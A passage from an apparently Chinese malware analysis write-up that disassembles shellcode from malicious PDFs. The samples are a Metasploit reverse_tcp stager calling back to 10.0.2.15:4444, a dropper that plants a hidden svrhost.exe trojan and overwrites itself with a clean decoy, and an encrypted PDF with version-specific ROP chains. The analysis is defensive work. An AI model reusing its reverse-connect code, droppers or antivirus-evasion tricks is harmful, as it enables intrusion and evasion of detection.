    printf("done: %d dlls in %s -> rainbow.csv\n", n, dir);
    return 0;
}

static int lookup(const char* hexstr) {
    unsigned target = strtoul(hexstr, NULL, 16);
    FILE* f = fopen("rainbow.csv", "r");
    if (!f) { printf("rainbow.csv not found, run: rainbow.exe build\n"); return 1; }
    char line[512];
    int hits = 0;
    while (fgets(line, sizeof line, f)) {
        unsigned h = strtoul(line, NULL, 16);
        if (h == target) { printf("0x%08X = %s", target, line + 11); hits++; }
    }
    fclose(f);
    if (!hits) printf("0x%08X = (not found)\n", target);
    return 0;
}

int main(int argc, char** argv) {
    if (argc >= 2 && strcmp(argv[1], "build") == 0) {
        char dir[MAX_PATH];
        if (argc >= 3) {
            strcpy(dir, argv[2]);
        }
        else {
            GetWindowsDirectoryA(dir, MAX_PATH);
            strcat(dir, "\\SysWOW64");   // 默认遍历 32 位系统 DLL 目录
        }
        return build(dir);
    }
    if (argc >= 2) {
        for (int i = 1; i < argc; i++) lookup(argv[i]);
        return 0;
    }
    printf("usage:\n  rainbow.exe build [DLL目录]  生成彩虹表 rainbow.csv (默认 %%WINDIR%%\\SysWOW64)\n  rainbow.exe <hash>...        反查 API 名\n");
    return 1;
}
```

把 sub_1F6 中 7 个 `call ebp` 前 push 的哈希值拿去查表：

![图片描述](upload/attach/202610/1036721_7WJXCRGV76ZG8XR.webp)

LoadLibraryA、WSAStartup、WSASocketA、connect、ExitProcess、recv、VirtualAlloc——功能轮廓已经出来：这是一个联网型 payload。

#### 4.4.7 主逻辑：网络初始化

![图片描述](upload/attach/202610/1036721_EMAMHB9CKX9P3K6.webp)

这一段等价于：

```c
LoadLibraryA("ws2_32");          // "ws2_32" 由两条 push 在栈上现拼：push "32\0"、push "ws2_"，esp 即字符串
WSAStartup(0x190, &WSAData);     // sub esp,0x190 在栈上开 WSADATA 结构
WSASocketA(2, 1, 0, 0, 0, 0);    // AF_INET, SOCK_STREAM
```

省字节的手法：WSAStartup 成功返回 eax=0，紧接着连 push 四个 0 凑齐 WSASocketA 的零参数，再 `inc` 两次变出 1（SOCK_STREAM）和 2（AF_INET）。`xchg eax, edi` 后 edi = socket 句柄。

#### 4.4.8 主逻辑：connect 重试

![图片描述](upload/attach/202610/1036721_KJ7B27X3JFU642G.webp)

sockaddr_in 同样在栈上现拼：`push 5C110002h` = sin_family 2 + sin_port 0x115C（4444），`push 0F02000Ah` = sin_addr 10.0.2.15（小端展开 0A.00.02.0F）。connect 失败时 `dec dword ptr [esi+8]`——重试计数塞在 sockaddr_in 的 sin_zero 填充区（协议规定闲置，connect 不读这块），白捡一个计数器。5 次全部失败则调 ExitProcess 退出。

结合 4.4.7：加载 ws2_32 → 初始化 → 建套接字 → 连接控制端 10.0.2.15:4444。

#### 4.4.9 主逻辑：接收二阶段并交棒

![图片描述](upload/attach/202610/1036721_QM7KSWXM42X7KKJ.webp)

```c
recv(s, esi, 4, 0);                              // 先收 4 字节：二阶段总长度
ebx = VirtualAlloc(NULL, 长度, MEM_COMMIT, PAGE_EXECUTE_READWRITE);  // 0x1000 / 0x40
push ebx;                                        // 入口地址压栈备用
while (剩余) 剩余 -= recv(s, ebx, 剩余, 0), ebx += 返回值;           // 循环收满
retn;                                            // 栈顶正是 push 的 ebx → 跳进二阶段
```

这是 staged（分段）payload 的标准三段式：控制端先告知二阶段大小；本地按大小申请 RWX 内存；循环 recv 收满（TCP 不保证一次到齐，`add ebx,eax / sub esi,eax` 一轮轮接）。最后不用 call 也不用 jmp——0x273 的 `push ebx` 把二阶段入口压在栈上，收满后栈顶恰好是它，`retn` 一弹即完成交接。

至此 shellcode 功能明确：这是 Metasploit 的 reverse_tcp staged payload——解析 7 个 API → 回连 10.0.2.15:4444 → 拉取二阶段（meterpreter）→ retn 交棒执行。

---

## 5. 名企面试自助手册.pdf 样本功能

### 5.1 文档结构与 payload 提取

跟前一个样本一样，也是跟着调用链来到 obj 12，发现 shellcode 的 js 文本：

![图片描述](upload/attach/202610/1036721_5TF9B9P8Z8PGWDB.webp)

这份文本和 msf 样本的不太一样：除了直接写的 `%u4141`，还混着 `\x25\x7530e8` 这种写法。其实 `\x25` 就是 `%`、`\x75` 就是 `u`，JS 先把 `"\x25\x7530e8"` 解析成字面文本 `%u30e8`，再和直接写的 `%uXXXX` 混在一起，最后统一 `unescape()` 一次解出。decode v3 的两趟处理正好对应：pass1 把 `\xNN` 转成字符（`\x25\x75` → `%u`），pass2 统一解 `%uXXXX`，直接能用。

复制下来用之前的文本转换脚本转换成二进制文件：

![图片描述](upload/attach/202610/1036721_TZT3M2QXW9JXZMP.webp)

拿到转换后的 bin 文件之后可以看到 ROP 特征基本和前面那个样本相同，所以直接重复之前的步骤：0x14C 后面按 C 转换成代码。

### 5.2 shellcode 结构：12 个 dword 的哈希表

![图片描述](upload/attach/202610/1036721_A9JU4P8KCCDPUY4.webp)

可以看到 0x14C 是 `call near ptr loc_180+1`，也就是 call 到 0x181。既然直接跳到 0x181，那 0x151～0x180 这段根本不会被走到——夹在 call 和落点之间，只能是数据。IDA 是线性扫描，不知道这个 call 跳过了一段，才把它当成指令译成了乱码：

![图片描述](upload/attach/202610/1036721_8F6YX444BFCNEX3.webp)

那么我们把它转换成 dword 看一下（选中按 U 取消定义 → 按 D 转 dword → 0x181 按 C 重新反汇编）：

![图片描述](upload/attach/202610/1036721_BQY8MUBQW5ZD6KX.webp)

很明显我们可以看到：call 压栈的返回地址恰好是 0x151——真代码首句 `pop ebx` 把这个地址收进 ebx → `[ebp-4]` → 0x1A1 交给 edi。然后看 0x1A4～0x1B4 的循环：

```
push 0C / pop ecx          ; 12 次
push dword [edi+ecx*4-4]   ; 从表尾倒着读
call  sub_43C              ; 送解析器
mov   [edi+ecx*4-4], eax   ; 函数地址写回原位
```

12 个 dword 逐个进解析器、函数地址写回覆盖原值——这是一张 12 个 dword 的 API 哈希表，运行时就地变成函数指针表。后续的代码也是把它当成 dword 按 `call [edi+xx]` 读写，验证了我们的想法。到这里 shellcode 已经全是明文了，我们分段分析。

### 5.3 API 解析

![图片描述](upload/attach/202610/1036721_W8UADAYXCMU7CP7.webp)

```
0x181  pop ebx                  ; 收下 call 压栈的 0x151（哈希表地址）
0x18B  mov [ebp-4], ebx         ; 表址存局部变量备份（edi 后面要被借走）
0x18E  push 30h / pop ecx
0x191  mov eax, fs:[ecx]        ; PEB
0x194  mov eax, [eax+0Ch]       ; PEB->Ldr
0x197  mov esi, [eax+1Ch]       ; InInitializationOrderModuleList.Flink
0x19A  lodsd                    ; eax = 下一节点 Flink，esi 同时 +4
0x19B  mov ebx, [eax+8]         ; 节点 +8 = DllBase → kernel32 基址
```

首先把刚刚压的 0x151（哈希表的首地址）存到 `[ebp-4]` 备用。然后就是 PEB → Ldr → InInitializationOrderModuleList.Flink，lodsd 读出下一个节点，再从节点 +8 把 kernel32 的基址取出来。和 msf 样本比有两点不同：

- 走的是 **+0x1C InInitializationOrder 链**（初始化顺序），不是 msf 的 +0x14 InMemoryOrder。这条链顺序固定：第一个节点 ntdll、第二个 kernel32。
- `lodsd` 一句顶两句：读 `[esi]`（下一节点的 Flink）进 eax，同时 esi+4。效果是跳过头节点 ntdll，直接落在 kernel32 节点上。位置是固定的，所以连模块名哈希都省了。

![图片描述](upload/attach/202610/1036721_UV5Q5GH5F495MKH.webp)

```
0x19E  push 0C / pop ecx                ; 循环 12 轮
0x1A1  mov edi, [ebp-4]                 ; edi = 哈希表
0x1A4  push ecx                         ; 保存计数
0x1A5  push ebx                         ; arg_4 = kernel32 基址
0x1A6  push dword [edi+ecx*4-4]         ; arg_0 = 哈希（从表尾倒着取）
0x1AA  call sub_43C                     ; 解析
0x1AF  pop ecx
0x1B0  mov [edi+ecx*4-4], eax           ; 函数地址写回原槽位
0x1B4  loop loc_1A4
```

这一段就是循环去哈希表取哈希值然后 `call sub_43C`，并把返回值填回原来的地方。`push 0C / pop ecx` 说明一共 12 个。

![图片描述](upload/attach/202610/1036721_Y7GXSYYEGYYQVGR.webp)

![图片描述](upload/attach/202610/1036721_YC66WUZ6RRRJ9FN.webp)

sub_43C 跟上一个样本的解析器基本相同，是个正经函数（先 push 四个寄存器保存现场，最后 `retn 8` 清两个参数）。先入参（0x43C～0x440），然后 PE 结构找到导出表（0x444～0x453），然后就是取名字算哈希、遍历比对：

```
0x455  jecxz short loc_489      ; 名字数耗尽 → 返回 0
0x457  dec ecx
0x458  mov esi, [ebx+ecx*4]     ; 第 ecx 个名字 RVA（从尾部倒着数）
0x45B  add esi, ebp
0x45D  xor edi, edi             ; 哈希累计清零
0x45F  cld
0x460  xor eax, eax
0x462  lodsb                    ; 取一字符，esi+1
0x463  cmp al, ah               ; ah 恒 0：是不是 \0？
0x465  jz short loc_46E         ; 是 → 停，\0 不进哈希
0x467  ror edi, 0Dh
0x46A  add edi, eax
0x46C  jmp short loc_460
0x46E  cmp edi, [esp+10h+arg_0] ; 与目标哈希比
0x472  jnz short loc_455
; 命中：名字下标 → 序号表（word）→ 地址表（dword）→ + 基址
0x479  mov cx, [ebx+ecx*2]
0x482  mov eax, [ebx+ecx*4]
0x485  add eax, ebp
```

这里跟 msf 样本的区别就是判停顺序：名企是 `lodsb → 判 \0 → ror+add`——先判后算，终止符**不参与**；msf 是 `lodsb → ror+add → 判 \0`——先算后判，终止符**参与**一轮。另外名企直接比函数名哈希，没有模块名合并（只搜 kernel32 一个模块，没必要）。一个字符的先后顺序哈希值就全变了，所以直接套 MSF 彩虹表查不到，按这段代码改出第二套配方生成 rainbow2.csv。再往下命中后三数组换地址、找不到返回 0，跟 msf 大同小异，就不多赘述了。

先用反查工具把所有的函数名还原：

![图片描述](upload/attach/202610/1036721_SDYBYXACY8GTYHH.webp)

12/12 全中：GetFileSize、SetFilePointer、ReadFile、GlobalAlloc、CloseHandle、GetTempPathA、_lcreat、_hwrite、WinExec、GetCommandLineA、GlobalFree、ExitProcess。其中 _lcreat/_hwrite 只在 kernel32.dll 本体命中（KernelBase、api-ms 桩里都没有）——这俩是 16 位 Windows 的遗产 API，现在没人用了，算是作者代码的年代指纹；[edi+28] GlobalFree 正文没用到，是备用槽位。

### 5.4 找回自身：句柄海选三层漏斗

接下来看第二段。shellcode 不知道自己在哪，就把句柄从 1 开始挨个试（`push 1` 在循环外，循环尾 `inc esi; push esi`，循环头 `pop esi` 收回，栈顶当计数器）。

第一层：eax 是 GetFileSize 的返回值，如果是 **-1**（0xFFFFFFFF）就说明不是文件句柄，接着循环调 GetFileSize 换下一个；不是 -1 就往下走。很明显这段代码是在筛选出是文件的句柄，顺手把文件大小存进 `[ebp-10h]`：

![图片描述](upload/attach/202610/1036721_79GJ6HRZHJWCHPM.webp)

```
0x1B8  pop esi                  ; 循环头：收回当前句柄值
0x1BD  push esi                 ; hFile
0x1BE  mov eax, [edi]           ; GetFileSize
0x1C0  call eax
0x1C2  mov [ebp-10h], eax       ; 文件大小存起来（后面要用）
0x1C5  cmp eax, 0FFFFFFFFh      ; -1 = 非文件句柄
0x1CA  jnz short loc_1D0        ; 是文件 → 第二层
0x1CC  inc esi / push esi / jmp loc_1B8   ; 换下一个
```

接着对文件大小不满足 2000h 的句柄筛选掉（大于 8K 才往下走）：

![图片描述](upload/attach/202610/1036721_47PB6GGCH8XEBCJ.webp)

```
0x1D0  cmp eax, 2000h
0x1D5  ja  short loc_1DB        ; > 8K → 第三层
```

第三层：对经过两次筛选的文件，在指定偏移处读取提前写好的暗号：

![图片描述](upload/attach/202610/1036721_V33MMASV7YV2TBK.webp)

![图片描述](upload/attach/202610/1036721_36N2UK38KTRWFPE.webp)

```
SetFilePointer(esi, 0x1200, 0, FILE_BEGIN) ; [edi+4]
ReadFile(esi, &[ebp-48h], 8, &read, 0)     ; [edi+8]
cmp dword [ebp-48h], 44506450h             ; "PdPD"（小端）
cmp dword [ebp-44h], 0AEEAFEEFh
```

这是这段翻译成 C 语言的代码。`PdPD` + `0xAEEAFEEF` 是作者打包时埋进 0x1200 处的暗号，撞上就是自己人。很明显这几层筛选是为了找到自己本体 PDF 的句柄——文件名、路径都不知道，但文件内容自己说了算，按内容埋暗号认领最靠谱。三层全过，esi 就是自身句柄。

### 5.5 全量读入与第一层解密

![图片描述](upload/attach/202610/1036721_KZS297FKMMZRD3Z.webp)

```
0x21E  push [ebp-10h]        ; 文件大小（第一层筛选时就存好了）
0x221  push 40h              ; GPTR（GMEM_FIXED|GMEM_ZEROINIT）
0x223  call [edi+0Ch]        ; GlobalAlloc(0x40, fileSize)
0x226  mov [ebp-28h], eax    ; 缓冲区
0x239  call [edi+4]          ; SetFilePointer(h, 0, ...) 拉回文件头
0x249  call [edi+8]          ; ReadFile(h, buf, fileSize, ...) 全量读入
0x256  call [edi+10h]        ; CloseHandle —— 数据到手，句柄立刻关
```

按文件大小 GlobalAlloc → 指针拉回文件头（海选时停在 0x1200）→ 一次性全量 ReadFile，把整个 PDF 读出来。两次失败检查都跳 loc_437（ExitProcess），作者对失败的统一处理就是自杀。

![图片描述](upload/attach/202610/1036721_R3KAYRNQQAH3TMD.webp)

这一段其实就是算出要释放的内嵌数据的总长度。0x1210/0x1214/0x1218 三个 dword 先取出来：

```
0x25C  mov eax, [ebx+1210h] → [ebp-18h]   ; 长度 A = 文件1 大小
0x265  mov eax, [ebx+1214h] → [ebp-1Ch]   ; 长度 B = 文件2 大小
0x26E  mov eax, [ebx+1218h] → [ebp-20h]   ; 长度 C = 文件名串长度
       三者相加 → [ebp-24h]               ; 总长
```

内嵌数据布局就此明确：**0x1200 = 8 字节暗号，0x1210/0x1214/0x1218 = 三个长度，0x121C 起依次是 [文件名 C 段][文件1 A 段][文件2 B 段]**，顺序刻意打乱。

![图片描述](upload/attach/202610/1036721_XUE4DH8CJM2DAET.webp)

```
; eax = 总长（A+B+C），ebx = 文件缓冲
0x280  dec eax                      ; i 从最后一个字节往前
0x281  mov dl, [ebx+eax+121Ch]      ; 取第 i 个字节
0x288  xor dl, al                   ; ^= i 的低 8 位（位置即密钥）
0x28A  mov [ebx+eax+121Ch], dl      ; 写回
0x291  test eax, eax
0x293  ja  short loc_280            ; i > 0 继续
```

然后从 0x121C+eax（总长度）处取出一个字节，`^=` 索引低 8 位后写回，倒序循环直到 eax 为 0——很明显这是在解密提前加密好的内嵌数据。位置本身就是密钥，没有密钥变量；倒序写法的顺手好处是省一句计数器清零。

### 5.6 释放文件1

![图片描述](upload/attach/202610/1036721_9RGQCGSAHGBTKK5.webp)

```
0x2A1  call [edi+14h]        ; GetTempPathA(0xF8, buf)
0x2A4  lea edi, [ebx+121Ch]  ; edi = 内嵌数据 C 段（文件名 "svrhost.exe"）
0x2AA  or  ecx, 0FFFFFFFFh   ; ecx = -1
0x2B2  repne scasb           ; 扫 \0 测文件名长度
0x2B4  not ecx               ; ecx = 长度+1
0x2B6  sub edi, ecx          ; edi 拨回串首
0x2B8  mov esi, edi          ; 源 = 文件名
0x2BC  lea edi, [ebp-148h]   ; 目的 = Temp 路径
0x2C8  repne scasb           ; 找 Temp 串尾
0x2CD  rep movsb             ; 文件名（含 \0）拼到 Temp 后
0x2D8  mov edi, [ebp-4]      ; edi 恢复为 API 表指针
```

这一段就是先 `GetTempPathA(0xF8, buf)` 拿到 Temp 目录，然后用两轮 `repne scasb`（汇编测串长的标准套路：ecx 置 -1 扫 \0，取反即长度+1）分别测文件名串和 Temp 路径的长度，`rep movsb` 把 svrhost.exe 拼接上去。edi 在这里被借去当字符串指针，所以最后 `mov edi, [ebp-4]` 把它恢复——5.3 开头存的那份备份在这用上。

![图片描述](upload/attach/202610/1036721_XWENFVEWYYKMKRM.webp)

```
0x2CF  push 2                ; 属性 = FILE_ATTRIBUTE_HIDDEN
0x2D1  push eax              ; 完整路径
0x2DB  call [edi+18h]        ; _lcreat(path, 2)
0x2EA  mov  [ebp-38h], eax   ; hFile
```

这里就是调了 `_lcreat(path, 2)` 创建文件，传参 2 直接把落盘在 Temp 目录下的 svrhost.exe 打上**隐藏**标记。

![图片描述](upload/attach/202610/1036721_BMPPM7D6HWD2D3V.webp)

即便整段数据被第一层解密展开，作者在打包这个二进制文件时，还特意把文件开头的**前 0x200 字节（512 字节）**做了相邻字节两两对调——PE 头就在开头几百字节，是杀软静态扫描的重点区，对调后 MZ 头、e_lfanew、PE 签名全碎，扫描器认不出是可执行文件。所以写入前要再换回来。注意时序：`_hwrite` 的三个参数先压栈，然后才跑对调循环——循环改的是缓冲区内容，不影响栈上的参数：

```
0x2EF  push [ebp-18h]           ; 参数3：整文件长度 lenA 先入栈
0x2FB  push eax                 ; 参数2：缓冲区首地址指针入栈
0x2FC  push edx                 ; 参数1：文件句柄 hFile 入栈
; --- 接下来开始原地对调还原 ---
0x2FD  mov     ecx, 100h
0x302  mov     dl, [eax+ecx*2-2]    ; 偶数字节
0x306  mov     dh, [eax+ecx*2-1]    ; 奇数字节
0x30A  mov     [eax+ecx*2-2], dh    ; 交换写回
0x30E  mov     [eax+ecx*2-1], dl
0x312  loop    loc_302              ; 256 次循环 × 2 = 512 (0x200) 字节
0x314  call    [edi+1Ch]            ; 还原完毕，立即执行 _hwrite 写入整文件
0x317  push    [ebp-38h]
0x31A  call    [edi+10h]            ; CloseHandle
```

对调用 dl/dh 凑一对，一次交换相邻两字节，256 轮正好处理前 0x200 字节。写完关句柄，svrhost.exe（0x141C0 字节）落盘 Temp 目录。

### 5.7 运行木马与抠取自身路径

![图片描述](upload/attach/202610/1036721_JEHETPDYDPYNR9T.webp)

```
0x31D  lea eax, [ebp-148h]      ; Temp\svrhost.exe 路径
0x323  call $+5                 ; 压入 0x328
0x328  add dword ptr [esp], 10h ; 栈顶改成 0x338 —— 预置续点
0x32F  push 0                   ; SW_HIDE
0x331  push eax                 ; lpCmdLine
0x332  push dword ptr [edi+24h] ; GetCommandLineA 的地址
0x335  jmp dword ptr [edi+20h]  ; 跳进 WinExec
```

在 CPU 跳进 `WinExec` 的那一瞬间，栈顶是这样的：

```
栈地址            栈中存放的值           含义
[esp]（栈顶）     &GetCommandLineA       返回地址（落在 kernel32.dll 正规代码段）
[esp+4]           eax                    参数 1（命令行）
[esp+8]           0                      参数 2（显示标志 SW_HIDE）
[esp+0Ch]         0x338                  预置的续点，WinExec 此时还够不到它
```

执行流是这样回来的：WinExec 跑完 `ret 8` 弹进 GetCommandLineA（无参数、跑一遍无副作用，相当于中继站），GetCommandLineA 的 `ret 0` 再把第 4 层的 0x338 弹出来——执行流落到 0x338，那里正式 `call [edi+24h]` 调 GetCommandLineA 拿命令行。全程没有一条硬编码地址的 call/jmp，控制流借 API 的 ret 一级级传递，静态分析时这条链是断的；附带效果是 WinExec 栈上的返回地址落在 kernel32.dll 内部，对检查返回地址归属的 API 监控有一定迷惑性。

![图片描述](upload/attach/202610/1036721_F3KT7R7SAED9752.webp)

![图片描述](upload/attach/202610/1036721_VW5NDC8SHFX3CQU.webp)

```
0x338  call [edi+24h]        ; GetCommandLineA → eax = 命令行
0x342  repne scasb           ; 测长度 → ecx
0x352  lea  edi, [ebp-148h]  ; 复用路径缓冲
0x358  mov  [edi+ecx], al    ; 末尾补 \0
0x35C  mov  al, [esi+ecx]    ; 从串尾取字符
0x35F  cmp  al, 22h          ; 是引号？—— 分两个分支
0x361  jnz  loc_382
; --- 分支一：带引号参数 "D:\...\xxx.pdf" ---
0x364  mov al, [esi+ecx]
0x367  cmp al, 22h           ; 撞到前一个引号停
0x36B  mov [edi+ecx+1], al   ; 回拷（不含引号）
; --- 分支二：裸路径 D:\...\xxx.pdf ---
0x382  mov al, [esi+ecx]
0x385  cmp al, 20h           ; 撞到空格停
0x389  mov [edi+ecx], al     ; 回拷
```

这一段就是先调用 GetCommandLineA 获取命令行字符串，然后把引号里面的路径抠下来。Reader 进程的命令行形如 `"C:\...\AcroRd32.exe" "D:\...\名企面试自助手册.pdf"`——最后一个参数就是 PDF 自身的完整路径，从串尾往前抠，两个分支（引号/空格）都处理了。抠出的路径存 `[ebp-40h]`。海选拿到的是句柄不是路径，路径得从命令行里拿——下一步要用干净文件覆盖自己，必须先知道自己躺在哪。

### 5.8 文件2 覆盖原文件

![图片描述](upload/attach/202610/1036721_GAQCUBW9UPBAU25.webp)

```
0x395  push [ebp-10h]         ; 文件总大小
0x398  push 40h               ; GPTR（清零分配）
0x39D  call [edx+0Ch]         ; GlobalAlloc → 新缓冲
0x3A5  mov esi, [ebp-18h]     ; A
0x3A8  add esi, [ebp-20h]     ; + C
0x3AB  add esi, ebx           ; + 文件缓冲
0x3AD  add esi, 121Ch         ; = B 段（干净 PDF）起点
0x3B3  mov ecx, [ebp-1Ch]     ; 长度 B
0x3B6  rep movsb              ; B 段拷入新缓冲
0x3BB  push 0                 ; 属性：普通文件
0x3BD  push [ebp-40h]         ; 自身路径
0x3C0  call [edi+18h]         ; _lcreat(原路径, 0) 截断打开
0x3D0  push [ebp-10h]         ; 写入长度 = 文件总大小（不是 B 段长！）
0x3D7  call [edi+1Ch]         ; _hwrite
0x3DB  call [edi+10h]         ; CloseHandle
```

这段的逻辑非常简单，调用了 4 个 API：

- **`GlobalAlloc`**：在堆上开辟一块干净的内存空间；
- **`rep movsb`（底层 memcpy）**：把自身携带的正常 PDF 内容搬到这块堆内存里；
- **`_lcreat`**：打开磁盘上的原恶意 PDF，直接清零原文件（截断，长度归 0）；
- **`_hwrite` + `CloseHandle`**：把堆里的正常内容写进原文件，完成磁盘覆写。

但有两个细节表明这不是普通覆写，而是**等尺寸覆盖**：GlobalAlloc 的标志 0x40 是 GPTR（GMEM_ZEROINIT），**清零分配**；`_hwrite` 的写入长度是 `[ebp-10h]`（**文件总大小**），不是 B 段长度。两者配合：缓冲区 = 文件总大小、前半是干净 PDF、后半全 0，写回后新文件和原文件一字节不差地等大——文件尺寸没变，按大小比对、按时间线排查都看不出掉包；PDF 阅读器对 `%%EOF` 后的填充本就不敏感，打开完全正常。

### 5.9 打开干净 PDF 与统一出口

![图片描述](upload/attach/202610/1036721_SC4GB4RTZSSK9VS.webp)

```
0x3F7  mov dword [edi],   2E646D63h   ; "cmd."
0x3FD  mov dword [edi+4], 20657865h   ; "exe "
0x404  mov dword [edi+8], 2220632Fh   ; `/c "`
0x40B  add edi, 0Ch
0x411  rep movsb                      ; 拼上自身路径（含 \0）
0x413  dec edi                        ; 回退到 \0
0x414  mov byte [edi], 22h            ; 补收尾引号
0x418  mov byte [edi+1], 0            ; 补 \0
```

三个 `mov dword` 把 `"cmd.exe /c ""` 按小端写进缓冲，再加上之前的自身路径，拼成命令：

```
cmd.exe /c "D:\...\名企面试自助手册.pdf"
```

绕 cmd 的原因：WinExec 只能启动可执行文件，打不开文档——PDF 得靠文件关联调起阅读器，`cmd /c "路径"` 让 cmd 代为启动；引号必加，路径可能带空格。然后用之前的方法（jmp 链机关，这次预置续点 0x437）调 WinExec 执行，用户看到"自己的 PDF"正常打开——内容已经是干净的了。

![图片描述](upload/attach/202610/1036721_CDMVDKN8K9GEZ73.webp)

最后剩下 `loc_437: push 0; call [edi+2Ch]` = ExitProcess(0)。它是整个 shellcode 的统一出口：成功走到这是功成身退，前面所有失败分支（GlobalAlloc/ReadFile/_lcreat 失败）也都跳到这里——绝不把异常抛给 Reader 进程留下崩溃痕迹。

### 5.10 释放物分析

- **svrhost.exe**（82368 字节）：PDB 路径 `e:\Work\BigChang 工具免杀\炮灰马20100519_炮灰之王_Ok\Install\Release\Infect_bind.pdb`——2010 年在野"炮灰之王"绑马（Infect_bind）。无网络 API；功能为服务持久化（ChangeServiceConfig 自动启动 + net start）、绕 Windows 文件保护（sfc_os/sfc.dll）、劫持打印后台服务（spoolss.dll/spoolsv.exe）、提权（OpenProcessToken）、bat 自清理。
- **文件2**：内容正常的《名企面试自助手册》PDF（无 JS/OpenAction），专门用于覆盖原文件。

功能结论：典型的"释放型"攻击——漏洞只是入口，目的是把炮灰之王木马种进系统实现驻留；等尺寸覆盖原文件 + 打开干净 PDF 兼顾用户体验（无察觉）与反取证（原始样本销毁、事后扫描无害、文件尺寸不变）。

总之整个 shellcode：

```
解析 12 个 API（哈希表就地变函数指针表）
→ 句柄海选三层漏斗（是不是文件 → >8K → PdPD 暗号），找回自己
→ 全量读入，位置异或解密内嵌数据（[文件名][文件1][文件2]）
→ Temp\_lcreat(隐藏) → 前 0x200 字节对调还原 → 落盘 svrhost.exe
→ jmp 链 WinExec 隐藏跑木马 → 命令行抠自身路径
→ 干净 PDF 等尺寸覆盖原文件（GPTR 清零填充，反取证）
→ cmd /c 打开"原文件"（已是干净内容）→ 用户毫无察觉
→ ExitProcess
```

---

## 6. Meeting Agenda.pdf 样本功能

### 6.1 第一层皮：PDF 官方加密（免杀）

打开 PDF 解析器发现对象内字符串部分都是乱码：

![图片描述](upload/attach/202610/1036721_NH57PTDTDSSPAWF.webp)

先过一遍 pdfid，显示 `/Encrypt 1`（三个样本中唯一）：

![图片描述](upload/attach/202610/1036721_HEYV8EDQ8784DSP.webp)

trailer /Encrypt 指向 obj 76，用解析器查看 obj 76：

![图片描述](upload/attach/202610/1036721_RBUWRJRP9CUCMG2.webp)

可以看到是 PDF 规范官方加密（/Filter/Standard）。关键字段：`/V 4 /R 4 /Length 128 /CFM/AESV2`——AES-128-CBC，`/StrF /StmF` 都指向 StdCF，即**字符串和流全部加密，对象骨架保持明文**（阅读器没密钥也得能解析结构），正好解释了"结构清晰、字符串乱码"的现象。pdfid 里 `/OpenAction 0` 也是同一原因：触发结构藏在意料之中的地方，关键字统计看不见。

直接用 pikepdf 空口令解密出整个明文文档（Reader 打开不弹密码框，说明用户口令为空；空口令加密的目的不是保密，是让不实现完整 PDF 解密链的杀软静态引擎看到的全是密文——防机器，不防人）。

### 6.2 版本调度与双 ROP 链

重新打开解密后的 pdf：

![图片描述](upload/attach/202610/1036721_JDCSGPY8KGBT2DF.webp)

![图片描述](upload/attach/202610/1036721_WW6R8UQD9WSC9WQ.webp)

发现有两段 js 文本：

![图片描述](upload/attach/202610/1036721_PKU29HJEVHDD4MX.webp)

**先看调度逻辑。** `dddd()` 按 `app.viewerVersion` 分支：`>=9.4` 死循环静默拒绝（已修复版本，不崩溃不暴露）；`>=9` 调 `aaaaa()`；`>=8` 和 `>=7` 都调 `bbbbb()`，但 getPageNthWord/selectPageNthWord 的页码不同（4/2/6 页）——强制 Reader 渲染特定页面，触发该页内嵌字体的解析（字体懒加载，不渲染不解析），不同版本页码不同对应各自的文档布局。

载荷文本显然有两份。aaaaa 开头是 `%u4141%u4141 %u63a5%u4a80...`，gadget 全是 **4A80** 批次；bbbbb 开头是 `\u4141×6` 然后 `\u17f2\u4a82`，gadget 是 **4A82/4A84/4A81** 批次。都是 icucnv36.dll 地址段但批次不同——猜测两条 ROP 链，配不同版本的 DLL。

运行我们之前转换的脚本对比两份二进制文件的区别：

![图片描述](upload/attach/202610/1036721_3MVYUBD9NUNDTNG.webp)

![图片描述](upload/attach/202610/1036721_HRN3ZCG9RCPDCDV.webp)

结论：除了 ROP 链不一样（gadget 地址批次不同），shellcode 部分完全一样——编程比对 `a[0x14C:] == b[0x154:]` 逐字节相等，bbbbb 多的 8 字节 4141 只是对齐垫片。为了适应不同版本的 icucnv36.dll 而做出的分支：ROP gadget 是硬编码地址，Reader 8/9 的 icucnv36 是两个编译版本、代码布局不同，必须按版本选链。

接下来的 shellcode 都是明文，逐段解读。

### 6.3 初始化与 API 解析

![图片描述](upload/attach/202610/1036721_7NWPVZDCQ8Q929N.webp)

```
0x1FF  call $+5
0x204  pop ebp
0x205  sub ebp, 0B2h        ; ebp = 0x152 = 数据区首
```

call $+5 压 0x204，pop 进 ebp，减 0xB2 回指数据区。从此数据区全是 `[ebp+xx]` 访问：**[ebp+0]～[ebp+30h] 是 13 个 API 哈希（52 字节），[ebp+34h]="Winword.exe"、[ebp+40h]="Adobe.pdf"、[ebp+4Ah]="cmd.exe /c ping..."**。

再往下看是 call 了两个函数，跟过去看：

![图片描述](upload/attach/202610/1036721_R2SQC62XFF6VYJM.webp)

![图片描述](upload/attach/202610/1036721_2BDCUE5GC9E2JE5.webp)

![图片描述](upload/attach/202610/1036721_YU77PTPU4SVB9FU.webp)

可以看到跟名企的流程一模一样，只不过 ror 的位数从 13 变成了 11。三个样本三种配方齐了：msf = ror13+终止符参与+模块名合并；名企 = ror13 无终止符无合并；本样本 = ror11 无终止符无合并。

![图片描述](upload/attach/202610/1036721_DC6ZJ7S4KZ8KEPG.webp)

```
0x487  mov edi, [esi+20h]    ; BaseDllName.Buffer
0x48A  mov esi, [esi]         ; 下一节点
0x48C  cmp [edi+18h], cx      ; 模块名第 13 个宽字符 == 0？（cx=0）
0x490  jnz loc_484
```

对比之前获取 kernel32 基址的方式：它是用判断模块名长度来认目标模块——第 13 个宽字符为 0 即名长恰好 12，"kernel32.dll" 正好 12 个字符，一条 cmp 认出来，连模块名哈希都省了。

老规矩先反查哈希看函数名（ror11 配方，13/13 全中）：

![图片描述](upload/attach/202610/1036721_AY5BGZYZDCEU79T.webp)

### 6.4 工作准备

然后接着看下面的代码：

![图片描述](upload/attach/202610/1036721_M4B2HGT9CD7KBEK.webp)

```
0x220  push 400h / push 40h
0x227  call [ebp+14h]        ; GlobalAlloc(GPTR, 0x400) → [ebp+91h]：1KB 中转缓冲
0x230  push eax / push 104h
0x236  call [ebp+10h]        ; GetTempPathA(0x104, buf) → Temp 路径写入缓冲
0x23F  push eax
0x240  call [ebp+24h]        ; SetCurrentDirectoryA(buf)：工作目录切到 Temp
0x243  mov eax, [ebp+91h]
0x249  lea ebx, [ebp+34h]    ; "Winword.exe"
0x24C  cmp byte [eax], 0 ... ; loc_24C：扫 Temp 串尾
0x254  mov dl, [ebx] / mov [eax], dl ...  ; loc_254：逐字节把文件名接上（含 \0）
```

